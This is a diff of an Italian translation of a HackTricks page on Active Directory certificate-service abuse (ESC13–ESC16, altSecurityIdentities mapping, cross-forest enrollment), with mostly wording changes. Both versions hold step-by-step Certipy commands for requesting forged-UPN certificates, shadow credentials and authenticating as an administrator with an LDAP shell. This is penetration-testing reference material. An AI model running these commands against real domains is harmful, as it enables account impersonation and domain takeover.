||||
Se `John` ha il permesso di registrare `VulnerableTemplate`, l'utente può ereditare i privilegi del gruppo `VulnerableGroup`.
|
||||
Se `John` ha il permesso di iscriversi a `VulnerableTemplate`, l'utente può ereditare i privilegi del gruppo `VulnerableGroup`.
|
||||
|
||||
Tutto ciò che deve fare è specificare il template, otterrà un certificato con diritti OIDToGroupLink.
|
||||
```bash
|
||||
@ -639,7 +678,7 @@ Una mappatura "debole" si verifica quando il valore della stringa utilizzato all
|
||||
Esempi di stringhe di mappatura `altSecurityIdentities` potenzialmente deboli includono:
|
||||
|
||||
- Mappatura esclusivamente tramite un comune Nome Comune del Soggetto (CN): ad es., `X509:<S>CN=SomeUser`. Un attaccante potrebbe essere in grado di ottenere un certificato con questo CN da una fonte meno sicura.
|
||||
- Utilizzo di Nomi Distinti dell'Emittente (DN) o DN del Soggetto eccessivamente generici senza ulteriore qualificazione come un numero di serie specifico o un identificatore di chiave del soggetto: ad es., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
|
||||
- Utilizzo di Nomi Distinti dell'Emittente (DN) o DN del Soggetto eccessivamente generici senza ulteriori qualifiche come un numero di serie specifico o un identificatore di chiave del soggetto: ad es., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
|
||||
- Impiego di altri schemi prevedibili o identificatori non crittografici che un attaccante potrebbe essere in grado di soddisfare in un certificato che può legittimamente ottenere o falsificare (se ha compromesso un CA o trovato un modello vulnerabile come in ESC1).
|
||||
|
||||
L'attributo `altSecurityIdentities` supporta vari formati per la mappatura, come:
|
||||
@ -653,7 +692,7 @@ L'attributo `altSecurityIdentities` supporta vari formati per la mappatura, come
|
||||
La sicurezza di queste mappature dipende fortemente dalla specificità, unicità e forza crittografica degli identificatori di certificato scelti utilizzati nella stringa di mappatura. Anche con modalità di binding dei certificati forti abilitate sui Domain Controllers (che influenzano principalmente le mappature implicite basate su UPN/DNS SAN e l'estensione SID), un'entrata `altSecurityIdentities` mal configurata può comunque presentare un percorso diretto per l'impersonificazione se la logica di mappatura stessa è difettosa o troppo permissiva.
|
||||
### Abuse Scenario
|
||||
|
||||
ESC14 prende di mira **mappature esplicite dei certificati** in Active Directory (AD), specificamente l'attributo `altSecurityIdentities`. Se questo attributo è impostato (per design o misconfigurazione), gli attaccanti possono impersonare account presentando certificati che corrispondono alla mappatura.
|
||||
ESC14 mira a **mappature esplicite dei certificati** in Active Directory (AD), specificamente all'attributo `altSecurityIdentities`. Se questo attributo è impostato (per design o misconfigurazione), gli attaccanti possono impersonare account presentando certificati che corrispondono alla mappatura.
|
||||
|
||||
#### Scenario A: L'attaccante può scrivere su `altSecurityIdentities`
|
||||
|
||||
@ -702,19 +741,19 @@ Per metodi di attacco più specifici in vari scenari di attacco, si prega di far
|
||||
|
||||
La descrizione su https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc è notevolmente dettagliata. Di seguito è riportata una citazione del testo originale.
|
||||
|
||||
Utilizzando i modelli di certificato predefiniti della versione 1, un attaccante può creare una CSR per includere politiche di applicazione che sono preferite rispetto agli attributi di Extended Key Usage configurati specificati nel modello. L'unico requisito è il diritto di iscrizione, e può essere utilizzato per generare certificati di autenticazione client, agenti di richiesta di certificato e certificati di firma del codice utilizzando il modello **_WebServer_**.
|
||||
Utilizzando i modelli di certificato predefiniti della versione 1, un attaccante può creare un CSR per includere politiche di applicazione che sono preferite rispetto agli attributi di Extended Key Usage configurati specificati nel modello. L'unico requisito è il diritto di iscrizione, e può essere utilizzato per generare certificati di autenticazione client, agenti di richiesta di certificato e certificati di firma del codice utilizzando il modello **_WebServer_**.
|
||||
|
||||
### Abuso
|
||||
|
||||
Il seguente è riferito a [questo link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), clicca per vedere metodi di utilizzo più dettagliati.
|
||||
Il seguente è riferito a [questo link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), Clicca per vedere metodi di utilizzo più dettagliati.
|
||||
|
||||
Il comando `find` di Certipy può aiutare a identificare i modelli V1 che sono potenzialmente suscettibili a ESC15 se il CA non è aggiornato.
|
||||
Il comando `find` di Certipy può aiutare a identificare i modelli V1 che sono potenzialmente suscettibili a ESC15 se la CA non è stata patchata.
|
||||
```bash
|
||||
certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
|
||||
```
|
||||
#### Scenario A: Impersonificazione Diretta tramite Schannel
|
||||
#### Scenario A: Direct Impersonation via Schannel
|
||||
|
||||
**Step 1: Richiedere un certificato, iniettando la Politica dell'Applicazione "Client Authentication" e il UPN di destinazione.** L'attaccante `attacker@corp.local` prende di mira `administrator@corp.local` utilizzando il modello "WebServer" V1 (che consente il soggetto fornito dall'iscritto).
|
||||
**Step 1: Richiedere un certificato, iniettando la "Client Authentication" Application Policy e il UPN di destinazione.** L'attaccante `attacker@corp.local` prende di mira `administrator@corp.local` utilizzando il modello "WebServer" V1 (che consente il soggetto fornito dall'iscritto).
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -733,7 +772,7 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
|
||||
```
|
||||
#### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
|
||||
|
||||
**Step 1: Richiedere un certificato da un modello V1 (con "L'iscritto fornisce il soggetto"), iniettando la "Politica dell'Applicazione del Richiesta di Certificato".** Questo certificato è per l'attaccante (`attacker@corp.local`) per diventare un agente di iscrizione. Non viene specificato alcun UPN per l'identità dell'attaccante qui, poiché l'obiettivo è la capacità di agente.
|
||||
**Step 1: Richiedere un certificato da un modello V1 (con "L'iscritto fornisce il soggetto"), iniettando la "Politica dell'Applicazione dell'Agente di Richiesta del Certificato".** Questo certificato è per l'attaccante (`attacker@corp.local`) per diventare un agente di iscrizione. Non viene specificato alcun UPN per l'identità dell'attaccante qui, poiché l'obiettivo è la capacità di agente.
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -789,7 +828,7 @@ certipy account \
|
||||
-dc-ip '10.0.0.100' -upn 'administrator' \
|
||||
-user 'victim' update
|
||||
```
|
||||
**Passo 3: (Se necessario) Ottenere le credenziali per l'account "vittima" (ad es., tramite Shadow Credentials).**
|
||||
**Passo 3: (Se necessario) Ottenere le credenziali per l'account "vittima" (ad esempio, tramite Shadow Credentials).**
|
||||
```shell
|
||||
certipy shadow \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -814,7 +853,7 @@ certipy account \
|
||||
-dc-ip '10.0.0.100' -upn 'victim@corp.local' \
|
||||
-user 'victim' update
|
||||
```
|
||||
**Passo 6: Autenticati come amministratore di destinazione.**
|
||||
**Passo 6: Autenticati come amministratore target.**
|
||||
```bash
|
||||
certipy auth \
|
||||
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
|
||||
@ -824,14 +863,18 @@ certipy auth \
|
||||
|
||||
### Violazione dei Trust delle Foreste da CAs Compromessi
|
||||
|
||||
La configurazione per il **cross-forest enrollment** è relativamente semplice. Il **certificato CA radice** della foresta risorsa è **pubblicato nelle foreste account** dagli amministratori, e i certificati **CA aziendali** della foresta risorsa sono **aggiunti ai contenitori `NTAuthCertificates` e AIA in ciascuna foresta account**. Per chiarire, questo accordo concede alla **CA nella foresta risorsa il controllo completo** su tutte le altre foreste per le quali gestisce la PKI. Se questa CA fosse **compromessa dagli attaccanti**, i certificati per tutti gli utenti sia nella foresta risorsa che in quella account potrebbero essere **falsificati da loro**, rompendo così il confine di sicurezza della foresta.
|
||||
La configurazione per il **cross-forest enrollment** è relativamente semplice. Il **certificato CA radice** della foresta di risorse è **pubblicato alle foreste account** dagli amministratori, e i certificati **CA aziendali** della foresta di risorse sono **aggiunti ai contenitori `NTAuthCertificates` e AIA in ciascuna foresta account**. Per chiarire, questo accordo concede alla **CA nella foresta di risorse il controllo completo** su tutte le altre foreste per le quali gestisce la PKI. Se questa CA fosse **compromessa da attaccanti**, i certificati per tutti gli utenti sia nella foresta di risorse che in quella account potrebbero essere **falsificati da loro**, rompendo così il confine di sicurezza della foresta.
|
||||
|
||||
### Privilegi di Iscrizione Concessi a Principali Stranieri
|
||||
### Privilegi di Registrazione Concessi a Principali Stranieri
|
||||
|
||||
Negli ambienti multi-foresta, è necessaria cautela riguardo alle CA aziendali che **pubblicano modelli di certificato** che consentono a **Authenticated Users o principali stranieri** (utenti/gruppi esterni alla foresta a cui appartiene la CA aziendale) **diritti di iscrizione e modifica**.\
|
||||
Dopo l'autenticazione attraverso un trust, il **SID degli Utenti Autenticati** viene aggiunto al token dell'utente da AD. Pertanto, se un dominio possiede una CA aziendale con un modello che **consente diritti di iscrizione agli Utenti Autenticati**, un modello potrebbe potenzialmente essere **iscritto da un utente di una foresta diversa**. Allo stesso modo, se **i diritti di iscrizione sono esplicitamente concessi a un principale straniero da un modello**, si crea così una **relazione di controllo accessi cross-forest**, consentendo a un principale di una foresta di **iscriversi a un modello di un'altra foresta**.
|
||||
Negli ambienti multi-foresta, è necessaria cautela riguardo alle CA aziendali che **pubblicano modelli di certificato** che consentono a **Utenti Autenticati o principali stranieri** (utenti/gruppi esterni alla foresta a cui appartiene la CA aziendale) **diritti di registrazione e modifica**.\
|
||||
Dopo l'autenticazione attraverso un trust, il **SID Utenti Autenticati** viene aggiunto al token dell'utente da AD. Pertanto, se un dominio possiede una CA aziendale con un modello che **consente diritti di registrazione agli Utenti Autenticati**, un modello potrebbe potenzialmente essere **registrato da un utente di una foresta diversa**. Allo stesso modo, se **i diritti di registrazione sono esplicitamente concessi a un principale straniero da un modello**, viene così creata una **relazione di controllo accessi cross-forest**, consentendo a un principale di una foresta di **registrarsi in un modello di un'altra foresta**.
|
||||
|
||||
Entrambi gli scenari portano a un **aumento della superficie di attacco** da una foresta all'altra. Le impostazioni del modello di certificato potrebbero essere sfruttate da un attaccante per ottenere privilegi aggiuntivi in un dominio straniero.
|
||||
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user